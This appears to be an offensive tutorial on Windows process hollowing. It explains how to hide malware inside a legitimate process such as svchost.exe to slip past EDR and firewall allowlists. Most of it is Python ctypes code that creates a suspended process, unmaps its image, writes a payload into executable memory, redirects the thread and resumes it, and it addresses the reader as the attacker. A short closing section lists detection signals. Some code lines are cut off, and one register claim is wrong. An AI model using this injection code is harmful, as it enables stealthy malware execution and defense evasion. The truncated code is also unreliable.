Windows shows running processes by their executable name. Process hollowing abuses this: start a legitimate binary (svchost.exe, notepad.exe) in a suspended state, overwrite its code in memory with malicious code, then resume. The process list still shows 'svchost.exe' but it's running attacker code. Network connections and file writes appear to come from the trusted binary.
When you open Task Manager, Windows reads the process name from when it was created — not from what code is currently executing. EDR products and firewalls build allowlists based on process names. If "svchost.exe" is allowed to make network connections, then so is your malware wearing svchost's skin. The payload inherits the original process's permissions and appearance.
Process hollowing creates a legitimate Windows process in suspended state, unmaps its original code from memory, then replaces it with malicious code. The process appears as svchost.exe in Task Manager but runs your payload.
This bypasses process creation monitoring because the malicious code never exists as a file being executed - it's injected into an already-running (suspended) legitimate process.
Attacker Target (svchost)
| |
|--CreateProcess----->| SUSPENDED
|<--Handle+Thread-----|
| |[not running yet]
| |
|--NtUnmapSection---->| [code removed]
| |[process HOLLOW]
| |
|--VirtualAllocEx---->|
|--WriteMemory------->|[malware written]
| |
|--SetThreadContext-->|[entry changed]
| |
|--ResumeThread------>|
|
[Thread runs MALWARE]
[TaskMgr: svchost.exe]
Before injection, parse the payload to understand its structure:
def parse_pe_headers(pe_data):
# DOS header check
if pe_data[:2] != b'MZ':
raise ValueError("Invalid DOS header")
e_lfanew = struct.unpack('
success = kernel32.CreateProcessW(
target_exe, # e.g., "svchost.exe"
None,
None,
None,
False,
CREATE_SUSPENDED, # 0x00000004 - critical flag
None,
None,
ctypes.byref(startup_info),
ctypes.byref(process_info)
)
The process structures are allocated but no code runs yet.
Why suspended? The CREATE_SUSPENDED flag is the key. Windows creates the process, allocates its memory, and sets up the thread — but never runs it. This gives us a window to modify the process before any code executes. If we started the process normally, the legitimate code would run before we could replace it.
# Find target's ImageBase from PEB
peb_addr = get_peb_address(h_process)
buffer = ctypes.create_string_buffer(8)
kernel32.ReadProcessMemory(h_process, peb_addr + 0x10, buffer, 8, None)
target_image_base = struct.unpack('
NtUnmapViewOfSection removes the original executable - the process is now hollow.
Why unmap? The original executable code is sitting at the process's ImageBase. We need that memory space for our payload. NtUnmapViewOfSection removes the entire PE image from memory — not just code, but the headers, sections, imports, everything. The process is now a shell: it has allocated structures (PEB, TEB, stack) but no actual code. This is the "hollowing" — we've gutted the legitimate binary.
# Allocate space at target's ImageBase
remote_base = kernel32.VirtualAllocEx(
h_process,
target_image_base,
pe_info['SizeOfImage'],
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
)
# Write headers
kernel32.WriteProcessMemory(h_process, remote_base,
payload_data[:pe_info['SizeOfHeaders']],
pe_info['SizeOfHeaders'], None)
# Write each section at its virtual address
for section in pe_info['sections']:
sec_addr = remote_base + section['VirtualAddress']
sec_data = payload_data[section['PointerToRawData']:
section['PointerToRawData'] + section['SizeOfRawData']]
kernel32.WriteProcessMemory(h_process, sec_addr, sec_data, len(sec_data), None)
Why write section by section? A PE file on disk has a different layout than when loaded in memory. On disk, sections are packed tight. In memory, each section is aligned to a page boundary (usually 4KB). We write the headers first, then map each section to its VirtualAddress — the address Windows would have put it if it loaded the file normally. This ensures imports, relocations, and code all end up where the PE expects them.
# Get thread context
ctx = CONTEXT64()
ctx.ContextFlags = 0x10001F # CONTEXT_FULL
kernel32.GetThreadContext(h_thread, ctypes.byref(ctx))
# Point to payload entry point
entry_point = remote_base + pe_info['AddressOfEntryPoint']
ctx.Rcx = entry_point # x64: entry point in Rcx
kernel32.SetThreadContext(h_thread, ctypes.byref(ctx))
kernel32.ResumeThread(h_thread)
The thread now executes your payload while Task Manager shows a legitimate process name.
Why modify thread context? When Windows creates a suspended process, the main thread's instruction pointer (RCX on x64, EAX on x86) points to the original entry point — the start function of the legitimate executable. That code no longer exists (we unmapped it). We use SetThreadContext to change where the thread will start executing when resumed. Point it to our payload's AddressOfEntryPoint, call ResumeThread, and the thread wakes up running our code instead of the original.
NtUnmapViewOfSection monitoring: This API is rarely called legitimately. Any process unmapping another's image section is suspicious.
Memory region analysis: Compare loaded module's memory against the file on disk. Hollowed processes have discrepancies.
Suspended process scrutiny: CREATE_SUSPENDED followed by memory writes to the child process.
PEB integrity checks: ImageBase in PEB should match the loaded PE. Hollowing may leave inconsistencies.
VAD analysis: Virtual Address Descriptors show memory regions. Compare against expected module layout.
Classic DLL injection via CreateRemoteThread is heavily monitored. Every EDR hooks it. Process hollowing uses different APIs that historically received less attention:
NtUnmapViewOfSection - System call, harder to hook cleanlySetThreadContext - Thread context manipulation, legitimate use casesMITRE ATT&CK: T1055.012 (Process Injection: Process Hollowing)